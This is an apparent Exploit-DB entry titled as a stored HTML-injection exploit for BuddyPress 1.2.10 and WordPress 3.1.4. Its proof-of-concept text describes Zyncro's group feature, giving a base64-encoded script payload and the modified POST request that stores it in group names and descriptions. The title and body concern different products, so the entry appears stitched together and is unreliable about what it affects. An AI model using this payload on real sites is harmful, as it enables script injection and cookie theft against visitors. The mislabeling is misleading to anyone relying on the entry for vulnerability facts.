Exploit WordPress Plugin BuddyPress 1.2.10 / WordPress Theme DEV Blogs Mu 1.2.6 (WordPress 3.1.4) - Regular Subscriber HTML Injection

[Exploiter]

EDB-ID

36166

Проверка EDB

1. Пройдено

Автор

KNULL

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2011-09-26

source: https://www.securityfocus.com/bid/49765/info

Multiple products are prone to an HTML-injection vulnerability because they fail to sufficiently sanitize user-supplied input.

An attacker could exploit this vulnerability to execute arbitrary script code in the browser of an unsuspecting victim in the context of the affected websites. This may allow the attacker to steal cookie-based authentication credentials or control how the websites are rendered to the user. Other attacks are also possible.

The following products are affected:

WordPress 3.1.4
BuddyPress 1.2.10
Blogs MU 1.2.6 

One of the functionalities of Zyncro is the possibility of creating
groups. The name and description of the groups are not correctly
sanitized and it's possible to provoke some attacks.

In order to do the attack, you must create a new group and capture the
packet transferred to the server to modify it because validation is
done in client-side (only) using javascript.

The original request has three POST data parameters like:
popup=1   &   name=dGVzdA%3D%3D   &   description=dGVzdA%3D%3D

Important data are 'name' and 'description' parameters, which are
base64 encoded. In this case, both values are 'test':
 url_decode(dGVzdA%3D%3D)
 b64decode(dGVzdA==)
 test

It is possible to provoke the XSS by changing those values as follows:
"><script>alert("XSS attack")</script>

Values MUST be in base64, so:
b64encode(""><script>alert("XSS attack")</script>") =
Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4=

Finally the post-data of the request would become:
popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d

Once the request has reached the server, a new group would be created
and any time that someone sees the name/description of the group, a
pop-up would appear, this is the easiest attack.